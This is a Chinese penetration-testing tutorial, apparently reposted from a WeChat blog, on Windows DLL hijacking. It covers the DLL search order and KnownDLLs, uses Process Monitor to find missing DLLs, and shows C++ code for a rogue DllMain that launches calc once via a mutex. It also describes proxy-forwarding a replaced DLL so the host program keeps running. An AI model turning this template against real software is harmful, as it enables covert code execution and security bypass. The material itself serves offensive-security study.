9.1 DLL基础
什么是DLL:
动态链接库,是微软公司在微软视窗操作系统中实现共享函数库概念的一种实现方式。这些库函数的扩展名是DLL、OCX、DRV。
所谓动态链接,就是把一些经常会共用的代码(静态链接的OBJ程序库)制作成DLL档,当可执行文件调用到DLL档内的函数时,Windows操作系统才会把DLL档加载存储器内,DLL档本身的结构就是可执行档,当程序有需求时函数才进行链接。透过动态链接方式,存储器浪费的情形将可大幅降低。静态链接库则是直接链接到可执行文件。DLL的文件格式与视窗EXE文件一样——也就是说,等同于32位视窗的可移植执行文件(PE)和16位视窗的New Executable(NE)。作为EXE格式,DLL可以包括源代码、数据和资源的多种组合。
DLL使用示例:
-
新建一个DLL项目
新建DLL的代码默认如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
//可以看到这里就一个函数DLLMain,当一个DLL被加载到进程中的时候会默认调用DLLMain函数
//hModule参数为当前DLL的句柄
//ul_reason_for_call为调用原因代码,也就是当前DLL的状态
//lpReserved为保留参数
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
//DLL_PROCESS_ATTACH:DLL 被加载到进程的地址空间中时触发,可以在此进行初始化操作。
//DLL_THREAD_ATTACH:一个新线程被创建时触发,可以在此进行线程相关的初始化操作。
//DLL_THREAD_DETACH:一个线程结束时触发,可以在此进行线程相关的清理操作。
//DLL_PROCESS_DETACH:DLL 从进程中卸载时触发,可以在此进行清理和资源释放操作。
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
接下来我们要给这个DLL添加一个导出函数(可以被其他程序或模块调用的函数),需要分成两步:1. 在cpp中声明定义这个函数 2. 在framework.h中声明这个函数为导出函数
dllmain.cpp
#include "pch.h"
#include <iostream>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void DllPrint() {
printf("这是第一个DLL,放在程序同级目录");
}
framework.h
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void DllPrint(); //声明导出函数
接下来生成解决方案
-
再新建一个控制台应用
#include <iostream>
#include<Windows.h>
int main()
{
//定义一个参数为空,返回值为空的函数指针Dllfunction
typedef void(*Dllfunctionp)(void);
//定义了一个函数指针变量Dllfunction
Dllfunctionp Dllfunction = NULL;
//加载dll,获取该DLL的句柄
HMODULE dll_1 = LoadLibraryA("demo_dll1.dll");
//获取函数地址,并赋给函数指针变量
Dllfunction = (Dllfunctionp)GetProcAddress(dll_1,"DllPrint");
//调用函数
(*Dllfunction)();
}
这时我们将该程序编译后,再将DLL文件放到同一目录运行即可
这里我们可以看到,当我们的这个程序显示从程序的当前目录下寻找并加载DLL,在Windows中DLL的正常寻找顺序如下:
-
当前目录 -> 系统目录(如C:WindowsSystem32)-> Windows目录(C:Windows) -> 环境变量路径(PATH)
==注意:==
Win7后,注册表多了一项存放DLL列表
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
微软为了防御DLL劫持设置的一个规则,他们将一些容易被劫持的DLL写进了注册表里,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用
也就表明我们想要劫持的DLL一定不能在KnownDLLs里面,可使用下边的命令查询
reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs"
9.2 劫持不存在的DLL
我们这里直接用Process Monitor
工具,开启过滤器,因为我们这里要劫持的是不存在的DLL,所以这里添加进程名称、路径、结果三个过滤条件,如下所示
这里拿powrprof.dll举例,我们双击打开它的调用堆栈
在堆栈中一定要有LoadLibrary相关函数,因为有了这些函数就证明这个DLL是被动态加载到内存,而只有动态加载到内存才会触发DLLMain函数,这样我们伪造DLL文件时不需要存在任何导出函数即可被成功加载。而静态加载DLL,DllMain 函数不会被自动调用,因为在编译期间 DLL 的代码和数据已经被链接到可执行文件中,不需要在运行时再进行初始化。
然后这里注意,由于该DLL在运行的时候是未找到的DLL,而程序也正确运行了,证明这个DLL不影响这个程序正常跑起来,所以我们可以编写同名dll
#include "pch.h"
#include<iostream>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
然后在实际测试中发现了一个情况,那就是当我将代码放到DLL_PROCESS_ATTACH
里面,计算器会弹出5、 6次,而放在DLL_THREAD_ATTACH
那就更酸爽了,直接不停弹出,原因就是多线程,当我们执行exe的时候会启未知数量的线程,所以这里对代码进行了优化,原理就是创建一个线程锁,互斥锁,然后拿到锁之后直接不放,后续DLLMain再执行的时候,永远创建不了同名的该锁,也拿不到锁,所以判断得不到锁就不让弹出计算器
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<iostream>
HANDLE g_hMutex = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
DWORD dwWaitResult;
case DLL_PROCESS_ATTACH:
// 创建互斥锁
g_hMutex = CreateMutex(NULL, FALSE, L"calc_alert");
//如果创建失败或已经存在该锁则直接返回True,后续代码直接不执行
if (g_hMutex == NULL || GetLastError() == ERROR_ALREADY_EXISTS)
{
return TRUE;
}
// 如果首次成功创建锁,这里的代码表示拿锁操作,获取锁对象
dwWaitResult = WaitForSingleObject(g_hMutex, 0);
//判断如果锁属于空闲状态,证明没被其它线程所使用,则执行相关代码
if (dwWaitResult == WAIT_OBJECT_0)
{
system("calc");
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
将所对应的dll移动到exe所在目录,然后重命名,运行即可劫持成功。
9.3 劫持已经存在的DLL
我们这里可以在应用所在文件夹下搜索,所有DLL文件,然后综合判断
这里过滤器如下设置
当我们用这个DLL进行劫持的时候,需要注意一点,就是如果我们直接生成新的DLL然后重命名覆盖原本的DLL,确实可能我们的恶意代码会执行,但是程序坏了,跑不起来了,这也是有问题的,所以我们这里要进行DLL劫持转发
DLL转发原理如下:
在实战中,将原始DLL重新命名,然后将我们恶意的DLL命名成原始名称,然后在DLLMain执行恶意代码,并将导出函数的调用转发到原始DLL,这样一来既能成功调用恶意代码,又能正常执行EXE程序
我们这里直接用工具进行转发
将原DLL改成bak_xxxx
,我们的恶意DLL改成原来DLL的名字,由于之前的DLL执行的是计算器,这里为了区分开来,我执行的是notepad
参考:https://tttang.com/archive/1365/
原文始发于微信公众号(小惜渗透):bypass3 - 白加黑挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论